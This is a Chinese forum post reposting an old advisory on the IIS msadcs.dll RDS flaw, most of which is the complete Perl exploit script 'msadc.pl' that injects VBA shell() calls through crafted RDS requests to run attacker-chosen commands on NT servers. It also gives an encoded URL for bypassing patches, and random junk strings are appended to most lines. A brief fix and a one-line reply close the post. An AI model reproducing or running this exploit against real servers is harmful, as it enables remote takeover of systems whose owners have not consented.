社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165856阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Ksvk5r&y  
lrK?&a9AB  
涉及程序: 7O'u5 N  
Microsoft NT server 9K=K,6 b  
=wFl(Q6J  
描述: #[sJKW  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,? V YrL  
agnEYdM_  
详细: LBnlaH.  
如果你没有时间读详细内容的话,就删除: fY 10a_@x  
c:\Program Files\Common Files\System\Msadc\msadcs.dll X@%4N<  
有关的安全问题就没有了。 zTfl#%  
82yfPQ&UI  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 z]1g;j  
sxPvi0>  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 e}2[g  
关于利用ODBC远程漏洞的描述,请参看: 8D`TN8[W  
<P-AlHYV-  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a#+;BH 1  
#[y2nK3zF  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6Bn}W ?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Dx.hM[  
DN|+d{^lN  
这里不再论述。 1A N)%  
r ['zp=9  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /F}dC/W  
@Qd5a(5WM  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset s"X0Jx}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! X92I==-w  
P$"s*otr  
M0woJt[&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" q`HK4~i,  
__)"-\w-_(  
#!perl ,~XAV ;+  
# 8FQNeQr  
# MSADC/RDS 'usage' (aka exploit) script 0D}k ^W  
# .zvvk  
# by rain.forest.puppy J&;' gT  
# \;!g@?CA  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "cDc~~3/@  
# beta test and find errors! NP$ D9#   
1N+ju"2R  
use Socket; use Getopt::Std; fP{IW`t}]  
getopts("e:vd:h:XR", \%args); bl4I4RB  
>&)|fV&4  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; g7Z3GUCGL  
Hx ojxZwm  
if (!defined $args{h} && !defined $args{R}) { 6V-JyTcxGI  
print qq~ j +Ro?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3+V.9TL'a  
-h <host> = host you want to scan (ip or domain) UZu.B!4  
-d <seconds> = delay between calls, default 1 second .wkW<F7  
-X = dump Index Server path table, if available &&te(DC\  
-v = verbose pwo @ S"  
-e = external dictionary file for step 5 Qe]aI7Ei  
2z9N/SyN  
Or a -R will resume a command session ^1X 6DH`  
gA&`vnNP  
~; exit;} sh}eKwh  
D^A#C<Gs  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; C40W@*6S2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} T,v5cc:nO  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /.:&9 c  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); k~qZ^9QB~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} q (}#{OO  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } M[^EHa<i  
T$tO[QR/  
if (!defined $args{R}){ $ret = &has_msadc; *TYOsD**9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} )D ':bWP  
h~k+!\  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _j|U>s   
. "cmd /c "; 13/U4-%b2  
$in=<STDIN>; chomp $in; FyRr/0C>  
$command="cmd /c " . $in ; u(4o#m  
V#V<Kz  
if (defined $args{R}) {&load; exit;} S|T*-?|  
&;$- &;  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; >!#or- C  
&try_btcustmr; Ej'N !d.  
6KKQ)DNu_  
print "\nStep 2: Trying to make our own DSN..."; 10r9sR  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 9HD5A$  
[ejl #'*5  
print "\nStep 3: Trying known DSNs..."; `B7?F$J  
&known_dsn; ZnD(RM  
=[`gfw  
print "\nStep 4: Trying known .mdbs..."; -_BjzA|  
&known_mdb; .$ 5*v  
~{[,0,lWU  
if (defined $args{e}){ :bz;_DZP  
print "\nStep 5: Trying dictionary of DSN names..."; BzI(  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } A7TV-eWG  
%(g!,!l)  
print "Sorry Charley...maybe next time?\n"; JO\KTWtjO  
exit; 5} 1qo7;  
5>~q4t)6z}  
############################################################################## ^c:I]_Ww  
;ZR^9%+y9  
sub sendraw { # ripped and modded from whisker 0]l9x}  
sleep($delay); # it's a DoS on the server! At least on mine... BDPF>lPf<  
my ($pstr)=@_; vPx#TXY=b}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ':|?M B  
die("Socket problems\n"); #v:A-u  
if(connect(S,pack "SnA4x8",2,80,$target)){ #YB3Ug]z  
select(S); $|=1; )!d_Td\-  
print $pstr; my @in=<S>; hr/|Fn+kA  
select(STDOUT); close(S); OCI{)r<O2m  
return @in; 0Y/k /)Ul]  
} else { die("Can't connect...\n"); }} ou [Wz{  
\$2zF8  
############################################################################## Xvn \~Vr  
[};?;YN  
sub make_header { # make the HTTP request Q@.%^1Mp  
my $msadc=<<EOT >TS=tK  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 |=EwZ mj-c  
User-Agent: ACTIVEDATA !9EbG  
Host: $ip PpR eqmo  
Content-Length: $clen pcPRkYT[ M  
Connection: Keep-Alive Is }?:ET  
0ZtH  
ADCClientVersion:01.06 QHe:  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 qim|=  
5S&^mj-9  
--!ADM!ROX!YOUR!WORLD! uN(N2m  
Content-Type: application/x-varg a>Xq   
Content-Length: $reqlen SW=%>XKkh  
yb'v*B ]  
EOT RBOhV/f  
; $msadc=~s/\n/\r\n/g; M[KYt"v  
return $msadc;} 8iN@n8O  
&Y$)s<u8.  
############################################################################## ()yOK$"  
<"x *ZT  
sub make_req { # make the RDS request Owm2/  
my ($switch, $p1, $p2)=@_; ;Yn_*M/*  
my $req=""; my $t1, $t2, $query, $dsn; P !~B07y  
u|\K kk  
if ($switch==1){ # this is the btcustmr.mdb query @1)C3(=A  
$query="Select * from Customers where City=" . make_shell(); 7kQ,D,c'  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 8Tm/gzx  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} mcSZ1d~,(  
gBE1a w;  
elsif ($switch==2){ # this is general make table query FSS~E [(DL  
$query="create table AZZ (B int, C varchar(10))"; J*]JH{  
$dsn="$p1";} E1Rz<&L  
M pLn)  
elsif ($switch==3){ # this is general exploit table query " {Nw K  
$query="select * from AZZ where C=" . make_shell(); H9rZWc"*  
$dsn="$p1";} qN6GLx%  
Oa -~}hN  
elsif ($switch==4){ # attempt to hork file info from index server rcG-V f@  
$query="select path from scope()"; [300F=R  
$dsn="Provider=MSIDXS;";} B-aJn8>/  
Axx{G~n![  
elsif ($switch==5){ # bad query Xe\,:~  
$query="select"; kF7`R4Sz  
$dsn="$p1";} ,4kipJ!,yK  
(r$QQO) /  
$t1= make_unicode($query); W[.UM  
$t2= make_unicode($dsn); T( sEk  
$req = "\x02\x00\x03\x00"; 5fud:k  
$req.= "\x08\x00" . pack ("S1", length($t1)); K@;ls  
$req.= "\x00\x00" . $t1 ; iuWw(dJk  
$req.= "\x08\x00" . pack ("S1", length($t2)); <zF/at  
$req.= "\x00\x00" . $t2 ; ^HNccr  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 0vdnM8N2  
return $req;} *Y- rEF>  
@!s(Zkpev  
############################################################################## BZ@v8y _TA  
cUM#|K#6  
sub make_shell { # this makes the shell() statement Fj0h-7L  
return "'|shell(\"$command\")|'";} }}~ t! /x  
_CXXgF[OCA  
############################################################################## btIh%OM  
=s[P =dU  
sub make_unicode { # quick little function to convert to unicode {$^Lb4O[V  
my ($in)=@_; my $out; ?&r >`H E  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } vA, tW,  
return $out;} "AMsBvzgo  
s h^&3}  
############################################################################## 5 }F6s  
kNTxYJ  
sub rdo_success { # checks for RDO return success (this is kludge) R3} Z"  
my (@in) = @_; my $base=content_start(@in); aW#_"Y}v'  
if($in[$base]=~/multipart\/mixed/){ m4kUA"n5  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ^tKJ}}  
return 0;} VWcR@/3  
1F }mlyS  
############################################################################## O,!4 W\s  
6'vt '9  
sub make_dsn { # this makes a DSN for us ?kM53zbT#  
my @drives=("c","d","e","f"); <t4l5nr#  
print "\nMaking DSN: "; Wy,Tf*[  
foreach $drive (@drives) { ?u /i8  
print "$drive: "; Ue]GHJ2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . _K|513I  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ]mmL8%B@_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); NI% ()  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; e+>&? x  
return 0 if $2 eq "404"; # not found/doesn't exist &fWYQ'\>  
if($2 eq "200") { t"Djh^=y  
foreach $line (@results) { j 1#T]CDs  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _gi?GQj  
} return 0;} &li&P5!i  
,c'a+NQ_t  
############################################################################## ](H vx  
B%d2tsDw  
sub verify_exists { R^F\2yth-  
my ($page)=@_; W L5!H.q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); D^W?~7e ^r  
return $results[0];} I@9k+JB   
OM 5h>\9  
############################################################################## haMt2S2_B:  
B#;yko  
sub try_btcustmr { _fQBXG2  
my @drives=("c","d","e","f"); ;'J{ylRQ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9oA.!4q  
XDi[Iyj  
foreach $dir (@dirs) { ZICcZG_y  
print "$dir -> "; # fun status so you can see progress 0q ^dpM  
foreach $drive (@drives) { /R44x\nhr  
print "$drive: "; # ditto L(!mm  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ^atBf![  
$reqlenlen=length( "$reqlen" ); 27Ve$Q8]v  
$clen= 206 + $reqlenlen + $reqlen; v J.sa&\H  
NP*M#3$[  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ^zr]#`@G  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} B?tO&$s  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} U 4@W{P02  
\aG:l.IM0  
############################################################################## BnLWC  
N2^B  
sub odbc_error { ;{Kx$Yt+  
my (@in)=@_; my $base; i%)Nn^a;T  
my $base = content_start(@in); ?5L.]Isa5  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this c 0%%X!!$  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W!BIz&SY:-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; JH0L^p   
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :h+gSvn:  
return $in[$base+4].$in[$base+5].$in[$base+6];} X6dv+&=?  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; cQMb+Q2Yw  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ard<T}|N  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \kGi5G]  
@n##.th  
############################################################################## /hMD Me  
'M#'BQQ5  
sub verbose { |VL(#U  
my ($in)=@_; IL]VY1'#  
return if !$verbose; &zYo   
print STDOUT "\n$in\n";} ,??%["R  
Fhn=}7|4q  
############################################################################## B)M& FO  
$}/ !mXI5  
sub save { bLysUj5[5  
my ($p1, $p2, $p3, $p4)=@_; 2$O @T]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?][2J  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; @*gm\sU4  
close OUT;}  TVP.)%  
6Q. _zk  
############################################################################## # N.(ZP  
iPxhDn<B  
sub load { 3S'juHT e  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; x`vIY-DS  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); *SX'Or,  
@p=<IN>; close(IN); kMHupROj  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^c{,QS{  
$target= inet_aton($ip) || die("inet_aton problems"); '}{J;moB  
print "Resuming to $ip ..."; 8@|rB3J  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^vjN$JB  
if($p[1]==1) { R;_U BQ)  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ,rp-`E5ap  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,HxsU,xiG  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); [~ sXjaL8  
if (rdo_success(@results)){print "Success!\n";} *8uSy/l  
else { print "failed\n"; verbose(odbc_error(@results));}} 'V5^D<1P  
elsif ($p[1]==3){ MhNDf[W>  
if(run_query("$p[3]")){ =;/4j'1}9  
print "Success!\n";} else { print "failed\n"; }} ,xew3c'(W  
elsif ($p[1]==4){ "3*Chc  
if(run_query($drvst . "$p[3]")){ y4HOKJxI  
print "Success!\n"; } else { print "failed\n"; }} D %`64R  
exit;} D/w4u;E@  
? 5qo>W<7  
############################################################################## RrkS!E[C  
 l+.E'   
sub create_table { D@i,dPz5Zl  
my ($in)=@_; [UVxtMJ  
$reqlen=length( make_req(2,$in,"") ) - 28; $C UmRi{T  
$reqlenlen=length( "$reqlen" ); ,Z;z}{.hq  
$clen= 206 + $reqlenlen + $reqlen; nz|;6?LCLY  
my @results=sendraw(make_header() . make_req(2,$in,"")); NW`.RGLI<  
return 1 if rdo_success(@results); xP.B,1\X  
my $temp= odbc_error(@results); verbose($temp); ,x?H]a)  
return 1 if $temp=~/Table 'AZZ' already exists/; {g2cm'hD  
return 0;} IPU'M*|Q  
.-;K$'YG  
############################################################################## 6}.B2f9  
Ds$8$1=L=k  
sub known_dsn { Hut au^l  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go zn T85#]\@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", U n#7@8,  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", HM])m>KeT  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); JrTSu`S('  
R$&|*0  
foreach $dSn (@dsns) { 0KyujU?sF  
print "."; A / N$  
next if (!is_access("DSN=$dSn"));  I)E+  
if(create_table("DSN=$dSn")){ /(w:XTO<  
print "$dSn successful\n"; aXyu%<@k  
if(run_query("DSN=$dSn")){ ~(tZW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { K h9$  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ,|_ewye  
:".:Wd  
############################################################################## &+-ZXN  
S<f&?\wK=v  
sub is_access { w~EXO;L2  
my ($in)=@_; z= -u89]  
$reqlen=length( make_req(5,$in,"") ) - 28; mf'N4y%  
$reqlenlen=length( "$reqlen" ); t@1e9uR  
$clen= 206 + $reqlenlen + $reqlen; sB_o HUMH6  
my @results=sendraw(make_header() . make_req(5,$in,"")); !ZbNW4rIP  
my $temp= odbc_error(@results); U`JzE"ps]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); +(5H$O{h  
return 0;} owTW_V  
?#xNz=V  
############################################################################## cI4%z eR  
_=jc%@]1y  
sub run_query { hi>Ii2T  
my ($in)=@_; . ({aPtSt!  
$reqlen=length( make_req(3,$in,"") ) - 28; l^ni"X  
$reqlenlen=length( "$reqlen" ); |EaGKC(   
$clen= 206 + $reqlenlen + $reqlen; `LnLd;Z  
my @results=sendraw(make_header() . make_req(3,$in,"")); V-CPq  
return 1 if rdo_success(@results); !W/Og 5n  
my $temp= odbc_error(@results); verbose($temp); $Trkow%F]  
return 0;} =1lKcA[z  
C8cB Lsa[J  
############################################################################## S(5.y%"<  
iYA06~ d  
sub known_mdb { FpE83}@".w  
my @drives=("c","d","e","f","g"); 1 ,oC:N  
my @dirs=("winnt","winnt35","winnt351","win","windows"); a J[VX)"J  
my $dir, $drive, $mdb; MC/$:PV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Hjli)*ev  
gLQWL}0O  
# this is sparse, because I don't know of many kf0zL3|   
my @sysmdbs=( "\\catroot\\icatalog.mdb", ;C-5R U V  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", bK; -Xcm  
"\\system32\\certmdb.mdb", "OFYVK\]i  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 1j6ZSE/*|  
<\?ySto  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", fyx-VXu  
"\\cfusion\\cfapps\\forums\\forums_.mdb", TQ" [2cY  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", AynWs5|z=  
"\\cfusion\\cfapps\\security\\realm_.mdb", |!dyk<}oIu  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m~r^@D  
"\\cfusion\\database\\cfexamples.mdb", a@zKi;  
"\\cfusion\\database\\cfsnippets.mdb", DTN@b!  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", N7%Jy?-+  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3j0/&ON  
"\\cfusion\\brighttiger\\database\\cleam.mdb", JGf6*D"O  
"\\cfusion\\database\\smpolicy.mdb", 8nQlmWpJ  
"\\cfusion\\database\cypress.mdb", a9"x_IVU  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", <8!mmOK1  
"\\website\\cgi-win\\dbsample.mdb", e>1^i;f  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", q#I/N$F  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" :D-d`OyjG>  
); #these are just Ka2U@fK"  
foreach $drive (@drives) { `8\pihww  
foreach $dir (@dirs){ E@"+w,x)  
foreach $mdb (@sysmdbs) { b ^ ly  
print "."; x 3#1  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ KwWqsuju  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; TxwZA  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 6<NaME  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 29 u"\f a  
} else { print "Something's borked. Use verbose next time\n"; }}}}} $WnK  
#@Zz Bf  
foreach $drive (@drives) { H0 km*5Sn  
foreach $mdb (@mdbs) { gnNMuqt  
print "."; V8NNIS  
if(create_table($drv . $drive . $dir . $mdb)){ w48T?  
print "\n" . $drive . $dir . $mdb . " successful\n"; q>r9ooN  
if(run_query($drv . $drive . $dir . $mdb)){ B c*Rn3i@  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; j)C%zzBu(  
} else { print "Something's borked. Use verbose next time\n"; }}}} I5F oh|)  
} h(]O;a-  
nWbe=z&y8[  
############################################################################## ~m[^|w  
W$B>O  
sub hork_idx { %H~q3|z  
print "\nAttempting to dump Index Server tables...\n"; w@nN3U+  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ;Y j_@=   
$reqlen=length( make_req(4,"","") ) - 28; }Nl-3I.S^  
$reqlenlen=length( "$reqlen" ); E92dSLhs5  
$clen= 206 + $reqlenlen + $reqlen; <y6M@(b  
my @results=sendraw2(make_header() . make_req(4,"","")); :r:5a(sq  
if (rdo_success(@results)){  o9#  
my $max=@results; my $c; my %d; -&M9Yg|Se  
for($c=19; $c<$max; $c++){ nmc=RK^cM  
$results[$c]=~s/\x00//g; :De}5BMy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Z5[ t/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; hBz~FB];&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 9/{+,RpC  
$d{"$1$2"}="";} ai`fP{WlX  
foreach $c (keys %d){ print "$c\n"; } f<uLbJ6  
} else {print "Index server doesn't seem to be installed.\n"; }} g!V;*[  
8Y sn8  
############################################################################## Vg\EAs>f  
M=x/PrY"R  
sub dsn_dict { pJVzT,poh  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); :"3WCB  
while(<IN>){ Bg"b,&/^u  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @YU}0&  
next if (!is_access("DSN=$dSn")); 4kT|/ bp  
if(create_table("DSN=$dSn")){ 2hw3+ o6  
print "$dSn successful\n"; =YB3^Z  
if(run_query("DSN=$dSn")){ BGodrb1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { wP6~HiC  
print "Something's borked. Use verbose next time\n";}}} $oH?oD1  
print "\n"; close(IN);} ZdlZ,vK^.  
_V1O =iu-  
############################################################################## b@Ik c<  
-mO[;lO  
sub sendraw2 { # ripped and modded from whisker iwJBhu0@#  
sleep($delay); # it's a DoS on the server! At least on mine... E%3WJ%A  
my ($pstr)=@_; lK9us  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $[VKM|Zjw  
die("Socket problems\n"); I(s\ Q[  
if(connect(S,pack "SnA4x8",2,80,$target)){ Od^y&$|_%`  
print "Connected. Getting data"; MH?|>6  
open(OUT,">raw.out"); my @in; PD$ay^Y  
select(S); $|=1; print $pstr; V~&P<=8;Wl  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} hh{4r} |  
close(OUT); select(STDOUT); close(S); return @in; PGP9-M  
} else { die("Can't connect...\n"); }} 2!-ZNd:(+  
LP7t*}PK  
############################################################################## C=h$8Q  
Dsm_T1X  
sub content_start { # this will take in the server headers )j4]Y dJ  
my (@in)=@_; my $c; Ol~sCr  
for ($c=1;$c<500;$c++) { vE>J@g2#  
if($in[$c] =~/^\x0d\x0a/){ +Ys<V  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ?c+_}ja,  
else { return $c+1; }}} f /&Dy'OV7  
return -1;} # it should never get here actually uwyzxj  
Ii,e=RG>  
############################################################################## {|^9y]VFu  
Um4 }`  
sub funky { tUGnD<P  
my (@in)=@_; my $error=odbc_error(@in); s59v* /  
if($error=~/ADO could not find the specified provider/){ z=N'evx~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; YnNB#x8|  
exit;} Ii?<Lz  
if($error=~/A Handler is required/){ >E#| H6gx  
print "\nServer has custom handler filters (they most likely are patched)\n"; WT;=K0W6&  
exit;} u!k\W{  
if($error=~/specified Handler has denied Access/){ 9 @!Og(l  
print "\nServer has custom handler filters (they most likely are patched)\n"; LU?X|{z  
exit;}}  KY!  
sI@m"A  
############################################################################## ZQD_w#0j  
}wC pr.@  
sub has_msadc { T3@wNAAU  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); w[uK3Av  
my $base=content_start(@results); YS{])+s  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); fk5!/>X  
return 0;} R KFz6t  
% rRYT8  
######################## m_W\jz??k  
;? '`XB!  
wlAlIvIT  
解决方案: 8%_XJyg  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [kt!\-  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 GLB7h 9>  
U)=StpTT  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五